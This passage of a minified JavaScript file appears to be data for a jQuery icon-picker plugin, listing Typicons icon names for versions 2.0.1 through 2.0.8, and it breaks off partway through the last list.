!function($){var data={iconClass:"typcn",iconClassFix:"typcn-",icons:[],allVersions:[{version:"2.0.1",icons:["","adjust-brightness","adjust-contrast","anchor","anchor-outline","archive","arrow-back","arrow-back-outline","arrow-down","arrow-down-outline","arrow-down-thick","arrow-forward","arrow-forward-outline","arrow-left","arrow-left-outline","arrow-left-thick","arrow-loop","arrow-loop-outline","arrow-maximise","arrow-maximise-outline","arrow-minimise","arrow-minimise-outline","arrow-move","arrow-move-outline","arrow-repeat","arrow-repeat-outline","arrow-right","arrow-right-outline","arrow-right-thick","arrow-shuffle","arrow-sync","arrow-sync-outline","arrow-up","arrow-up-outline","arrow-up-thick","at","attachment","attachment-outline","backspace","backspace-outline","battery-charge","battery-full","battery-high","battery-low","battery-mid","beaker","beer","bell","book","bookmark","briefcase","brush","business-card","calculator","calender","calender-outline","camera","camera-outline","cancel","cancel-outline","chart-area","chart-area-outline","chart-bar","chart-bar-outline","chart-line","chart-line-outline","chart-pie","chart-pie-outline","chevron-left","chevron-left-outline","chevron-right","chevron-right-outline","clipboard","cloud-storage","code","code-outline","coffee","cog","cog-outline","compass","contacts","credit-card","cross","database","delete","delete-outline","device-desktop","device-laptop","device-phone","device-tablet","directions","divide","divide-outline","document","document-add","document-delete","document-text","download","download-outline","edit","eject","eject-outline","equals","equals-outline","export","export-outline","eye","eye-outline","feather","film","flag","flag-outline","flash","flash-outline","flow-children","flow-merge","flow-parallel","flow-switch","folder","folder-add","folder-delete","gift","globe","globe-outline","group","group-outline","headphones","heart","heart-outline","home","home-outline","image","image-outline","infinity","infinity-outline","info","info-large","info-large-outline","info-outline","input-checked","input-checked-outline","key","key-outline","leaf","lightbulb","link","link-outline","location","location-arrow","location-arrow-outline","location-outline","lock-closed","lock-closed-outline","lock-open","lock-open-outline","mail","map","media-eject","media-eject-outline","media-fast-forward","media-fast-forward-outline","media-pause","media-pause-outline","media-play","media-play-outline","media-record","media-record-outline","media-rewind","media-rewind-outline","media-stop","media-stop-outline","message","messages","message-typing","microphone","microphone-outline","minus","minus-outline","news","notes","notes-outline","pen","pencil","phone","phone-outline","pi","pin","pin-outline","pi-outline","pipette","plane","plane-outline","plug","plus","plus-outline","point-of-interest","point-of-interest-outline","power","power-outline","printer","puzzle","puzzle-outline","radar","radar-outline","refresh","refresh-outline","rss","rss-outline","scissors","scissors-outline","shopping-bag","shopping-cart","social-at-circular","social-dribbble","social-dribbble-circular","social-facebook","social-facebook-circular","social-flickr","social-flickr-circular","social-github","social-github-circular","social-last-fm","social-last-fm-circular","social-linkedin","social-linkedin-circular","social-pinterest","social-pinterest-circular","social-skype","social-skype-outline","social-tumbler","social-tumbler-circular","social-twitter","social-twitter-circular","social-vimeo","social-vimeo-circular","sort-alphabetically","sort-alphabetically-outline","sort-numerically","sort-numerically-outline","spanner","spanner-outline","star","starburst","starburst-outline","star-outline","stopwatch","support","tabs-outline","tag","tags","thermometer","th-large","th-large-outline","th-list","th-list-outline","th-menu","th-menu-outline","th-small","th-small-outline","thumbs-down","thumbs-up","tick","ticket","tick-outline","time","times","times-outline","trash","tree","upload","upload-outline","user","user-add","user-add-outline","user-delete","user-delete-outline","user-outline","video","video-outline","volume","volume-down","volume-mute","volume-up","warning","warning-outline","watch","waves","waves-outline","weather-cloudy","weather-downpour","weather-night","weather-partly-sunny","weather-shower","weather-snow","weather-stormy","weather-sunny","weather-windy","weather-windy-cloudy","wi-fi","wi-fi-outline","wine","world","world-outline","zoom","zoom-in","zoom-in-outline","zoom-out","zoom-outline","zoom-out-outline"]},{version:"2.0.2",icons:["","adjust-brightness","adjust-contrast","anchor","anchor-outline","archive","arrow-back","arrow-back-outline","arrow-down","arrow-down-outline","arrow-down-thick","arrow-forward","arrow-forward-outline","arrow-left","arrow-left-outline","arrow-left-thick","arrow-loop","arrow-loop-outline","arrow-maximise","arrow-maximise-outline","arrow-minimise","arrow-minimise-outline","arrow-move","arrow-move-outline","arrow-repeat","arrow-repeat-outline","arrow-right","arrow-right-outline","arrow-right-thick","arrow-shuffle","arrow-sync","arrow-sync-outline","arrow-up","arrow-up-outline","arrow-up-thick","at","attachment","attachment-outline","backspace","backspace-outline","battery-charge","battery-full","battery-high","battery-low","battery-mid","beaker","beer","bell","book","bookmark","briefcase","brush","business-card","calculator","calender","calender-outline","camera","camera-outline","cancel","cancel-outline","chart-area","chart-area-outline","chart-bar","chart-bar-outline","chart-line","chart-line-outline","chart-pie","chart-pie-outline","chevron-left","chevron-left-outline","chevron-right","chevron-right-outline","clipboard","cloud-storage","code","code-outline","coffee","cog","cog-outline","compass","contacts","credit-card","cross","database","delete","delete-outline","device-desktop","device-laptop","device-phone","device-tablet","directions","divide","divide-outline","document","document-add","document-delete","document-text","download","download-outline","edit","eject","eject-outline","equals","equals-outline","export","export-outline","eye","eye-outline","feather","film","flag","flag-outline","flash","flash-outline","flow-children","flow-merge","flow-parallel","flow-switch","folder","folder-add","folder-delete","gift","globe","globe-outline","group","group-outline","headphones","heart","heart-outline","home","home-outline","image","image-outline","infinity","infinity-outline","info","info-large","info-large-outline","info-outline","input-checked","input-checked-outline","key","key-outline","leaf","lightbulb","link","link-outline","location","location-arrow","location-arrow-outline","location-outline","lock-closed","lock-closed-outline","lock-open","lock-open-outline","mail","map","media-eject","media-eject-outline","media-fast-forward","media-fast-forward-outline","media-pause","media-pause-outline","media-play","media-play-outline","media-record","media-record-outline","media-rewind","media-rewind-outline","media-stop","media-stop-outline","message","messages","message-typing","microphone","microphone-outline","minus","minus-outline","news","notes","notes-outline","pen","pencil","phone","phone-outline","pi","pin","pin-outline","pi-outline","pipette","plane","plane-outline","plug","plus","plus-outline","point-of-interest","point-of-interest-outline","power","power-outline","printer","puzzle","puzzle-outline","radar","radar-outline","refresh","refresh-outline","rss","rss-outline","scissors","scissors-outline","shopping-bag","shopping-cart","social-at-circular","social-dribbble","social-dribbble-circular","social-facebook","social-facebook-circular","social-flickr","social-flickr-circular","social-github","social-github-circular","social-last-fm","social-last-fm-circular","social-linkedin","social-linkedin-circular","social-pinterest","social-pinterest-circular","social-skype","social-skype-outline","social-tumbler","social-tumbler-circular","social-twitter","social-twitter-circular","social-vimeo","social-vimeo-circular","sort-alphabetically","sort-alphabetically-outline","sort-numerically","sort-numerically-outline","spanner","spanner-outline","star","starburst","starburst-outline","star-outline","stopwatch","support","tabs-outline","tag","tags","thermometer","th-large","th-large-outline","th-list","th-list-outline","th-menu","th-menu-outline","th-small","th-small-outline","thumbs-down","thumbs-up","tick","ticket","tick-outline","time","times","times-outline","trash","tree","upload","upload-outline","user","user-add","user-add-outline","user-delete","user-delete-outline","user-outline","video","video-outline","volume","volume-down","volume-mute","volume-up","warning","warning-outline","watch","waves","waves-outline","weather-cloudy","weather-downpour","weather-night","weather-partly-sunny","weather-shower","weather-snow","weather-stormy","weather-sunny","weather-windy","weather-windy-cloudy","wi-fi","wi-fi-outline","wine","world","world-outline","zoom","zoom-in","zoom-in-outline","zoom-out","zoom-outline","zoom-out-outline"]},{version:"2.0.3",icons:["","adjust-brightness","adjust-contrast","anchor","anchor-outline","archive","arrow-back","arrow-back-outline","arrow-down","arrow-down-outline","arrow-down-thick","arrow-forward","arrow-forward-outline","arrow-left","arrow-left-outline","arrow-left-thick","arrow-loop","arrow-loop-outline","arrow-maximise","arrow-maximise-outline","arrow-minimise","arrow-minimise-outline","arrow-move","arrow-move-outline","arrow-repeat","arrow-repeat-outline","arrow-right","arrow-right-outline","arrow-right-thick","arrow-shuffle","arrow-sorted-down","arrow-sorted-up","arrow-sync","arrow-sync-outline","arrow-unsorted","arrow-up","arrow-up-outline","arrow-up-thick","at","attachment","attachment-outline","backspace","backspace-outline","battery-charge","battery-full","battery-high","battery-low","battery-mid","beaker","beer","bell","book","bookmark","briefcase","brush","business-card","calculator","camera","camera-outline","cancel","cancel-outline","chart-area","chart-area-outline","chart-bar","chart-bar-outline","chart-line","chart-line-outline","chart-pie","chart-pie-outline","chevron-left","chevron-left-outline","chevron-right","chevron-right-outline","clipboard","cloud-storage","code","code-outline","coffee","cog","cog-outline","compass","contacts","credit-card","css3","database","delete","delete-outline","device-desktop","device-laptop","device-phone","device-tablet","directions","divide","divide-outline","document","document-add","document-delete","document-text","download","download-outline","dropbox","edit","eject","eject-outline","equals","equals-outline","export","export-outline","eye","eye-outline","feather","film","filter","flag","flag-outline","flash","flash-outline","flow-children","flow-merge","flow-parallel","flow-switch","folder","folder-add","folder-delete","folder-open","gift","globe","globe-outline","group","group-outline","headphones","heart","heart-full-outline","heart-half-outline","heart-outline","home","home-outline","html5","image","image-outline","infinity","infinity-outline","info","info-large","info-large-outline","info-outline","input-checked","input-checked-outline","key","key-outline","keyboard","leaf","lightbulb","link","link-outline","location","location-arrow","location-arrow-outline","location-outline","lock-closed","lock-closed-outline","lock-open","lock-open-outline","mail","map","media-eject","media-eject-outline","media-fast-forward","media-fast-forward-outline","media-pause","media-pause-outline","media-play","media-play-outline","media-play-reverse","media-play-reverse-outline","media-record","media-record-outline","media-rewind","media-rewind-outline","media-stop","media-stop-outline","message","message-typing","messages","microphone","microphone-outline","minus","minus-outline","mortar-board","news","notes","notes-outline","pen","pencil","phone","phone-outline","pi","pi-outline","pin","pin-outline","pipette","plane","plane-outline","plug","plus","plus-outline","point-of-interest","point-of-interest-outline","power","power-outline","printer","puzzle","puzzle-outline","radar","radar-outline","refresh","refresh-outline","rss","rss-outline","scissors","scissors-outline","shopping-bag","shopping-cart","social-at-circular","social-dribbble","social-dribbble-circular","social-facebook","social-facebook-circular","social-flickr","social-flickr-circular","social-github","social-github-circular","social-google-plus","social-google-plus-circular","social-instagram","social-instagram-circular","social-last-fm","social-last-fm-circular","social-linkedin","social-linkedin-circular","social-pinterest","social-pinterest-circular","social-skype","social-skype-outline","social-tumbler","social-tumbler-circular","social-twitter","social-twitter-circular","social-vimeo","social-vimeo-circular","social-youtube","social-youtube-circular","sort-alphabetically","sort-alphabetically-outline","sort-numerically","sort-numerically-outline","spanner","spanner-outline","spiral","star","star-full-outline","star-half","star-half-outline","star-outline","starburst","starburst-outline","stopwatch","support","tabs-outline","tag","tags","th-large","th-large-outline","th-list","th-list-outline","th-menu","th-menu-outline","th-small","th-small-outline","thermometer","thumbs-down","thumbs-ok","thumbs-up","tick","tick-outline","ticket","time","times","times-outline","trash","tree","upload","upload-outline","user","user-add","user-add-outline","user-delete","user-delete-outline","user-outline","vendor-android","vendor-apple","vendor-microsoft","video","video-outline","volume","volume-down","volume-mute","volume-up","warning","warning-outline","watch","waves","waves-outline","weather-cloudy","weather-downpour","weather-night","weather-partly-sunny","weather-shower","weather-snow","weather-stormy","weather-sunny","weather-windy","weather-windy-cloudy","wi-fi","wi-fi-outline","wine","world","world-outline","zoom","zoom-in","zoom-in-outline","zoom-out","zoom-out-outline","zoom-outline"]},{version:"2.0.4",icons:["","adjust-brightness","adjust-contrast","anchor","anchor-outline","archive","arrow-back","arrow-back-outline","arrow-down","arrow-down-outline","arrow-down-thick","arrow-forward","arrow-forward-outline","arrow-left","arrow-left-outline","arrow-left-thick","arrow-loop","arrow-loop-outline","arrow-maximise","arrow-maximise-outline","arrow-minimise","arrow-minimise-outline","arrow-move","arrow-move-outline","arrow-repeat","arrow-repeat-outline","arrow-right","arrow-right-outline","arrow-right-thick","arrow-shuffle","arrow-sorted-down","arrow-sorted-up","arrow-sync","arrow-sync-outline","arrow-unsorted","arrow-up","arrow-up-outline","arrow-up-thick","at","attachment","attachment-outline","backspace","backspace-outline","battery-charge","battery-full","battery-high","battery-low","battery-mid","beaker","beer","bell","book","bookmark","briefcase","brush","business-card","calculator","calendar","calendar-outline","camera","camera-outline","cancel","cancel-outline","chart-area","chart-area-outline","chart-bar","chart-bar-outline","chart-line","chart-line-outline","chart-pie","chart-pie-outline","chevron-left","chevron-left-outline","chevron-right","chevron-right-outline","clipboard","cloud-storage","cloud-storage-outline","code","code-outline","coffee","cog","cog-outline","compass","contacts","credit-card","css3","database","delete","delete-outline","device-desktop","device-laptop","device-phone","device-tablet","directions","divide","divide-outline","document","document-add","document-delete","document-text","download","download-outline","dropbox","edit","eject","eject-outline","equals","equals-outline","export","export-outline","eye","eye-outline","feather","film","filter","flag","flag-outline","flash","flash-outline","flow-children","flow-merge","flow-parallel","flow-switch","folder","folder-add","folder-delete","folder-open","gift","globe","globe-outline","group","group-outline","headphones","heart","heart-full-outline","heart-half-outline","heart-outline","home","home-outline","html5","image","image-outline","infinity","infinity-outline","info","info-large","info-large-outline","info-outline","input-checked","input-checked-outline","key","key-outline","keyboard","leaf","lightbulb","link","link-outline","location","location-arrow","location-arrow-outline","location-outline","lock-closed","lock-closed-outline","lock-open","lock-open-outline","mail","map","media-eject","media-eject-outline","media-fast-forward","media-fast-forward-outline","media-pause","media-pause-outline","media-play","media-play-outline","media-play-reverse","media-play-reverse-outline","media-record","media-record-outline","media-rewind","media-rewind-outline","media-stop","media-stop-outline","message","message-typing","messages","microphone","microphone-outline","minus","minus-outline","mortar-board","news","notes","notes-outline","pen","pencil","phone","phone-outline","pi","pi-outline","pin","pin-outline","pipette","plane","plane-outline","plug","plus","plus-outline","point-of-interest","point-of-interest-outline","power","power-outline","printer","puzzle","puzzle-outline","radar","radar-outline","refresh","refresh-outline","rss","rss-outline","scissors","scissors-outline","shopping-bag","shopping-cart","social-at-circular","social-dribbble","social-dribbble-circular","social-facebook","social-facebook-circular","social-flickr","social-flickr-circular","social-github","social-github-circular","social-google-plus","social-google-plus-circular","social-instagram","social-instagram-circular","social-last-fm","social-last-fm-circular","social-linkedin","social-linkedin-circular","social-pinterest","social-pinterest-circular","social-skype","social-skype-outline","social-tumbler","social-tumbler-circular","social-twitter","social-twitter-circular","social-vimeo","social-vimeo-circular","social-youtube","social-youtube-circular","sort-alphabetically","sort-alphabetically-outline","sort-numerically","sort-numerically-outline","spanner","spanner-outline","spiral","star","star-full-outline","star-half","star-half-outline","star-outline","starburst","starburst-outline","stopwatch","support","tabs-outline","tag","tags","th-large","th-large-outline","th-list","th-list-outline","th-menu","th-menu-outline","th-small","th-small-outline","thermometer","thumbs-down","thumbs-ok","thumbs-up","tick","tick-outline","ticket","time","times","times-outline","trash","tree","upload","upload-outline","user","user-add","user-add-outline","user-delete","user-delete-outline","user-outline","vendor-android","vendor-apple","vendor-microsoft","video","video-outline","volume","volume-down","volume-mute","volume-up","warning","warning-outline","watch","waves","waves-outline","weather-cloudy","weather-downpour","weather-night","weather-partly-sunny","weather-shower","weather-snow","weather-stormy","weather-sunny","weather-windy","weather-windy-cloudy","wi-fi","wi-fi-outline","wine","world","world-outline","zoom","zoom-in","zoom-in-outline","zoom-out","zoom-out-outline","zoom-outline"]},{version:"2.0.5",icons:["","adjust-brightness","adjust-contrast","anchor","anchor-outline","archive","arrow-back","arrow-back-outline","arrow-down","arrow-down-outline","arrow-down-thick","arrow-forward","arrow-forward-outline","arrow-left","arrow-left-outline","arrow-left-thick","arrow-loop","arrow-loop-outline","arrow-maximise","arrow-maximise-outline","arrow-minimise","arrow-minimise-outline","arrow-move","arrow-move-outline","arrow-repeat","arrow-repeat-outline","arrow-right","arrow-right-outline","arrow-right-thick","arrow-shuffle","arrow-sorted-down","arrow-sorted-up","arrow-sync","arrow-sync-outline","arrow-unsorted","arrow-up","arrow-up-outline","arrow-up-thick","at","attachment","attachment-outline","backspace","backspace-outline","battery-charge","battery-full","battery-high","battery-low","battery-mid","beaker","beer","bell","book","bookmark","briefcase","brush","business-card","calculator","camera","camera-outline","cancel","cancel-outline","chart-area","chart-area-outline","chart-bar","chart-bar-outline","chart-line","chart-line-outline","chart-pie","chart-pie-outline","chevron-left","chevron-left-outline","chevron-right","chevron-right-outline","clipboard","cloud-storage","code","code-outline","coffee","cog","cog-outline","compass","contacts","credit-card","css3","database","delete","delete-outline","device-desktop","device-laptop","device-phone","device-tablet","directions","divide","divide-outline","document","document-add","document-delete","document-text","download","download-outline","dropbox","edit","eject","eject-outline","equals","equals-outline","export","export-outline","eye","eye-outline","feather","film","filter","flag","flag-outline","flash","flash-outline","flow-children","flow-merge","flow-parallel","flow-switch","folder","folder-add","folder-delete","folder-open","gift","globe","globe-outline","group","group-outline","headphones","heart","heart-full-outline","heart-half-outline","heart-outline","home","home-outline","html5","image","image-outline","infinity","infinity-outline","info","info-large","info-large-outline","info-outline","input-checked","input-checked-outline","key","key-outline","keyboard","leaf","lightbulb","link","link-outline","location","location-arrow","location-arrow-outline","location-outline","lock-closed","lock-closed-outline","lock-open","lock-open-outline","mail","map","media-eject","media-eject-outline","media-fast-forward","media-fast-forward-outline","media-pause","media-pause-outline","media-play","media-play-outline","media-play-reverse","media-play-reverse-outline","media-record","media-record-outline","media-rewind","media-rewind-outline","media-stop","media-stop-outline","message","message-typing","messages","microphone","microphone-outline","minus","minus-outline","mortar-board","news","notes","notes-outline","pen","pencil","phone","phone-outline","pi","pi-outline","pin","pin-outline","pipette","plane","plane-outline","plug","plus","plus-outline","point-of-interest","point-of-interest-outline","power","power-outline","printer","puzzle","puzzle-outline","radar","radar-outline","refresh","refresh-outline","rss","rss-outline","scissors","scissors-outline","shopping-bag","shopping-cart","social-at-circular","social-dribbble","social-dribbble-circular","social-facebook","social-facebook-circular","social-flickr","social-flickr-circular","social-github","social-github-circular","social-google-plus","social-google-plus-circular","social-instagram","social-instagram-circular","social-last-fm","social-last-fm-circular","social-linkedin","social-linkedin-circular","social-pinterest","social-pinterest-circular","social-skype","social-skype-outline","social-tumbler","social-tumbler-circular","social-twitter","social-twitter-circular","social-vimeo","social-vimeo-circular","social-youtube","social-youtube-circular","sort-alphabetically","sort-alphabetically-outline","sort-numerically","sort-numerically-outline","spanner","spanner-outline","spiral","star","star-full-outline","star-half","star-half-outline","star-outline","starburst","starburst-outline","stopwatch","support","tabs-outline","tag","tags","th-large","th-large-outline","th-list","th-list-outline","th-menu","th-menu-outline","th-small","th-small-outline","thermometer","thumbs-down","thumbs-ok","thumbs-up","tick","tick-outline","ticket","time","times","times-outline","trash","tree","upload","upload-outline","user","user-add","user-add-outline","user-delete","user-delete-outline","user-outline","vendor-android","vendor-apple","vendor-microsoft","video","video-outline","volume","volume-down","volume-mute","volume-up","warning","warning-outline","watch","waves","waves-outline","weather-cloudy","weather-downpour","weather-night","weather-partly-sunny","weather-shower","weather-snow","weather-stormy","weather-sunny","weather-windy","weather-windy-cloudy","wi-fi","wi-fi-outline","wine","world","world-outline","zoom","zoom-in","zoom-in-outline","zoom-out","zoom-out-outline","zoom-outline"]},{version:"2.0.6",icons:["","adjust-brightness","adjust-contrast","anchor","anchor-outline","archive","arrow-back","arrow-back-outline","arrow-down","arrow-down-outline","arrow-down-thick","arrow-forward","arrow-forward-outline","arrow-left","arrow-left-outline","arrow-left-thick","arrow-loop","arrow-loop-outline","arrow-maximise","arrow-maximise-outline","arrow-minimise","arrow-minimise-outline","arrow-move","arrow-move-outline","arrow-repeat","arrow-repeat-outline","arrow-right","arrow-right-outline","arrow-right-thick","arrow-shuffle","arrow-sorted-down","arrow-sorted-up","arrow-sync","arrow-sync-outline","arrow-unsorted","arrow-up","arrow-up-outline","arrow-up-thick","at","attachment","attachment-outline","backspace","backspace-outline","battery-charge","battery-full","battery-high","battery-low","battery-mid","beaker","beer","bell","book","bookmark","briefcase","brush","business-card","calculator","calendar","calendar-outline","camera","camera-outline","cancel","cancel-outline","chart-area","chart-area-outline","chart-bar","chart-bar-outline","chart-line","chart-line-outline","chart-pie","chart-pie-outline","chevron-left","chevron-left-outline","chevron-right","chevron-right-outline","clipboard","cloud-storage","cloud-storage-outline","code","code-outline","coffee","cog","cog-outline","compass","contacts","credit-card","css3","database","delete","delete-outline","device-desktop","device-laptop","device-phone","device-tablet","directions","divide","divide-outline","document","document-add","document-delete","document-text","download","download-outline","dropbox","edit","eject","eject-outline","equals","equals-outline","export","export-outline","eye","eye-outline","feather","film","filter","flag","flag-outline","flash","flash-outline","flow-children","flow-merge","flow-parallel","flow-switch","folder","folder-add","folder-delete","folder-open","gift","globe","globe-outline","group","group-outline","headphones","heart","heart-full-outline","heart-half-outline","heart-outline","home","home-outline","html5","image","image-outline","infinity","infinity-outline","info","info-large","info-large-outline","info-outline","input-checked","input-checked-outline","key","key-outline","keyboard","leaf","lightbulb","link","link-outline","location","location-arrow","location-arrow-outline","location-outline","lock-closed","lock-closed-outline","lock-open","lock-open-outline","mail","map","media-eject","media-eject-outline","media-fast-forward","media-fast-forward-outline","media-pause","media-pause-outline","media-play","media-play-outline","media-play-reverse","media-play-reverse-outline","media-record","media-record-outline","media-rewind","media-rewind-outline","media-stop","media-stop-outline","message","message-typing","messages","microphone","microphone-outline","minus","minus-outline","mortar-board","news","notes","notes-outline","pen","pencil","phone","phone-outline","pi","pi-outline","pin","pin-outline","pipette","plane","plane-outline","plug","plus","plus-outline","point-of-interest","point-of-interest-outline","power","power-outline","printer","puzzle","puzzle-outline","radar","radar-outline","refresh","refresh-outline","rss","rss-outline","scissors","scissors-outline","shopping-bag","shopping-cart","social-at-circular","social-dribbble","social-dribbble-circular","social-facebook","social-facebook-circular","social-flickr","social-flickr-circular","social-github","social-github-circular","social-google-plus","social-google-plus-circular","social-instagram","social-instagram-circular","social-last-fm","social-last-fm-circular","social-linkedin","social-linkedin-circular","social-pinterest","social-pinterest-circular","social-skype","social-skype-outline","social-tumbler","social-tumbler-circular","social-twitter","social-twitter-circular","social-vimeo","social-vimeo-circular","social-youtube","social-youtube-circular","sort-alphabetically","sort-alphabetically-outline","sort-numerically","sort-numerically-outline","spanner","spanner-outline","spiral","star","star-full-outline","star-half","star-half-outline","star-outline","starburst","starburst-outline","stopwatch","support","tabs-outline","tag","tags","th-large","th-large-outline","th-list","th-list-outline","th-menu","th-menu-outline","th-small","th-small-outline","thermometer","thumbs-down","thumbs-ok","thumbs-up","tick","tick-outline","ticket","time","times","times-outline","trash","tree","upload","upload-outline","user","user-add","user-add-outline","user-delete","user-delete-outline","user-outline","vendor-android","vendor-apple","vendor-microsoft","video","video-outline","volume","volume-down","volume-mute","volume-up","warning","warning-outline","watch","waves","waves-outline","weather-cloudy","weather-downpour","weather-night","weather-partly-sunny","weather-shower","weather-snow","weather-stormy","weather-sunny","weather-windy","weather-windy-cloudy","wi-fi","wi-fi-outline","wine","world","world-outline","zoom","zoom-in","zoom-in-outline","zoom-out","zoom-out-outline","zoom-outline"]},{version:"2.0.7",icons:["","adjust-brightness","adjust-contrast","anchor","anchor-outline","archive","arrow-back","arrow-back-outline","arrow-down","arrow-down-outline","arrow-down-thick","arrow-forward","arrow-forward-outline","arrow-left","arrow-left-outline","arrow-left-thick","arrow-loop","arrow-loop-outline","arrow-maximise","arrow-maximise-outline","arrow-minimise","arrow-minimise-outline","arrow-move","arrow-move-outline","arrow-repeat","arrow-repeat-outline","arrow-right","arrow-right-outline","arrow-right-thick","arrow-shuffle","arrow-sorted-down","arrow-sorted-up","arrow-sync","arrow-sync-outline","arrow-unsorted","arrow-up","arrow-up-outline","arrow-up-thick","at","attachment","attachment-outline","backspace","backspace-outline","battery-charge","battery-full","battery-high","battery-low","battery-mid","beaker","beer","bell","book","bookmark","briefcase","brush","business-card","calculator","calendar","calendar-outline","camera","camera-outline","cancel","cancel-outline","chart-area","chart-area-outline","chart-bar","chart-bar-outline","chart-line","chart-line-outline","chart-pie","chart-pie-outline","chevron-left","chevron-left-outline","chevron-right","chevron-right-outline","clipboard","cloud-storage","cloud-storage-outline","code","code-outline","coffee","cog","cog-outline","compass","contacts","credit-card","css3","database","delete","delete-outline","device-desktop","device-laptop","device-phone","device-tablet","directions","divide","divide-outline","document","document-add","document-delete","document-text","download","download-outline","dropbox","edit","eject","eject-outline","equals","equals-outline","export","export-outline","eye","eye-outline","feather","film","filter","flag","flag-outline","flash","flash-outline","flow-children","flow-merge","flow-parallel","flow-switch","folder","folder-add","folder-delete","folder-open","gift","globe","globe-outline","group","group-outline","headphones","heart","heart-full-outline","heart-half-outline","heart-outline","home","home-outline","html5","image","image-outline","infinity","infinity-outline","info","info-large","info-large-outline","info-outline","input-checked","input-checked-outline","key","keyboard","key-outline","leaf","lightbulb","link","link-outline","location","location-arrow","location-arrow-outline","location-outline","lock-closed","lock-closed-outline","lock-open","lock-open-outline","mail","map","media-eject","media-eject-outline","media-fast-forward","media-fast-forward-outline","media-pause","media-pause-outline","media-play","media-play-outline","media-play-reverse","media-play-reverse-outline","media-record","media-record-outline","media-rewind","media-rewind-outline","media-stop","media-stop-outline","message","messages","message-typing","microphone","microphone-outline","minus","minus-outline","mortar-board","news","notes","notes-outline","pen","pencil","phone","phone-outline","pi","pin","pin-outline","pi-outline","pipette","plane","plane-outline","plug","plus","plus-outline","point-of-interest","point-of-interest-outline","power","power-outline","printer","puzzle","puzzle-outline","radar","radar-outline","refresh","refresh-outline","rss","rss-outline","scissors","scissors-outline","shopping-bag","shopping-cart","social-at-circular","social-dribbble","social-dribbble-circular","social-facebook","social-facebook-circular","social-flickr","social-flickr-circular","social-github","social-github-circular","social-google-plus","social-google-plus-circular","social-instagram","social-instagram-circular","social-last-fm","social-last-fm-circular","social-linkedin","social-linkedin-circular","social-pinterest","social-pinterest-circular","social-skype","social-skype-outline","social-tumbler","social-tumbler-circular","social-twitter","social-twitter-circular","social-vimeo","social-vimeo-circular","social-youtube","social-youtube-circular","sort-alphabetically","sort-alphabetically-outline","sort-numerically","sort-numerically-outline","spanner","spanner-outline","spiral","star","starburst","starburst-outline","star-full-outline","star-half","star-half-outline","star-outline","stopwatch","support","tabs-outline","tag","tags","thermometer","th-large","th-large-outline","th-list","th-list-outline","th-menu","th-menu-outline","th-small","th-small-outline","thumbs-down","thumbs-ok","thumbs-up","tick","ticket","tick-outline","time","times","times-outline","trash","tree","upload","upload-outline","user","user-add","user-add-outline","user-delete","user-delete-outline","user-outline","vendor-android","vendor-apple","vendor-microsoft","video","video-outline","volume","volume-down","volume-mute","volume-up","warning","warning-outline","watch","waves","waves-outline","weather-cloudy","weather-downpour","weather-night","weather-partly-sunny","weather-shower","weather-snow","weather-stormy","weather-sunny","weather-windy","weather-windy-cloudy","wi-fi","wi-fi-outline","wine","world","world-outline","zoom","zoom-in","zoom-in-outline","zoom-out","zoom-outline","zoom-out-outline"]
},{version:"2.0.8",icons:["","adjust-brightness","adjust-contrast","anchor","anchor-outline","archive","arrow-back","arrow-back-outline","arrow-down","arrow-down-outline","arrow-down-thick","arrow-forward","arrow-forward-outline","arrow-left","arrow-left-outline","arrow-left-thick","arrow-loop","arrow-loop-outline","arrow-maximise","arrow-maximise-outline","arrow-minimise","arrow-minimise-outline","arrow-move","arrow-move-outline","arrow-repeat","arrow-repeat-outline","arrow-right","arrow-right-outline","arrow-right-thick","arrow-shuffle","arrow-sorted-down","arrow-sorted-up","arrow-sync","arrow-sync-outline","arrow-unsorted","arrow-up","arrow-up-outline","arrow-up-thick","at","attachment","attachment-outline","backspace","backspace-outline","battery-charge","battery-full","battery-high","battery-low","battery-mid","beaker","beer","bell","book","bookmark","briefcase","brush","business-card","calculator","calendar","calendar-outline","camera","camera-outline","cancel","cancel-outline","chart-area","chart-area-outline","chart-bar","chart-bar-outline","chart-line","chart-line-outline","chart-pie","chart-pie-outline","chevron-left","chevron-left-outline","chevron-right","chevron-right-outline","clipboard","cloud-storage","cloud-storage-outline","code","code-outline","coffee","cog","cog-outline","compass","contacts","credit-card","css3","database","delete","delete-outline","device-desktop","device-laptop","device-phone","device-tablet","directions","divide","divide-outline","document","document-add","document-delete","document-text","download","download-outline","dropbox","edit","eject","eject-outline","equals","equals-outline","export","export-outline","eye","eye-outline","feather","film","filter","flag","flag-outline","flash","flash-outline","flow-children","flow-merge","flow-parallel","flow-switch","folder","folder-add","folder-delete","folder-open","gift","globe","globe-outline","group","group-outline","headphones","heart","heart-full-outline","heart-half-outline","heart-outline","home","home-outline","html5","image","image-outline","infinity","infinity-outline","info","info-large","info-large-outline","info-outline","input-checked","input-checked-outline","key","keyboard","key-outline","leaf","lightbulb","link","link-outline","location","location-arrow","location-arrow-outline","location-outline","lock-closed","lock-closed-outline","lock-open","lock-open-outline","mail","map","media-eject","media-eject-outline","media-fast-forward","media-fast-forward-outline","media-pause","media-pause-outline","media-play","media-play-outline","media-play-reverse","media-play-reverse-outline","media-record","media-record-outline","media-rewind","media-rewind-outline","media-stop","media-stop-outline","message","messages","message-typing","microphone","microphone-outline","minus","minus-outline","mortar-board","news","notes","notes-outline","pen","pencil","phone","phone-outline","pi","pin","pin-outline","pi-outline","pipette","plane","plane-outline","plug","plus","plus-outline","point-of-interest","point-of-interest-outline","power","power-outline","printer","puzzle","puzzle-outline","radar","radar-outline","refresh","refresh-outline","rss","rss-outline","scissors","scissors-outline","shopping-bag","shopping-cart","social-at-circular","social-dribbble","social-dribbble-circular","social-facebook","social-facebook-circular","social-flickr","social-flickr-circular","social-github","social-github-circular","social-google-plus","social-google-plus-circular","social-instagram","social-instagram-circular","social-last-fm","social-last-fm-circular","social-linkedin","social-linkedin-circular","social-pinterest","social-pinterest-circular","social-skype","social-skype-outline","social-tumbler","social-tumbler-circular","social-twitter","social-twitter-circular","social-vimeo","social-vimeo-circular","social-youtube","social-youtube-circular","sort-alphabetically","sort-alphabetically-outline","sort-numerically","sort-numerically-outline","spanner","spanner-outline","spiral","star","starburst","starburst-outline","star-full-outline","star-half","star-half-outline","star-outline","stopwatch","support","tabs-outline","tag","tags","thermometer","th-large","th-large-outline","th-list","th-list-outline","th-menu","th-menu-outline","th-small","th-small-outline","thumbs-down","thumbs-ok","thumbs-up","tick","ticket","tick-outline","time","times","times-outline","trash","tree","upload","upload-outline","user","user-add","user-add-outline","user-delete","user-delete-outline","user-outline","vendor-android","vendor-apple","vendor-microsoft","video","video-outline","volume","volume-down","volume-mute","volume-up","warning","warning-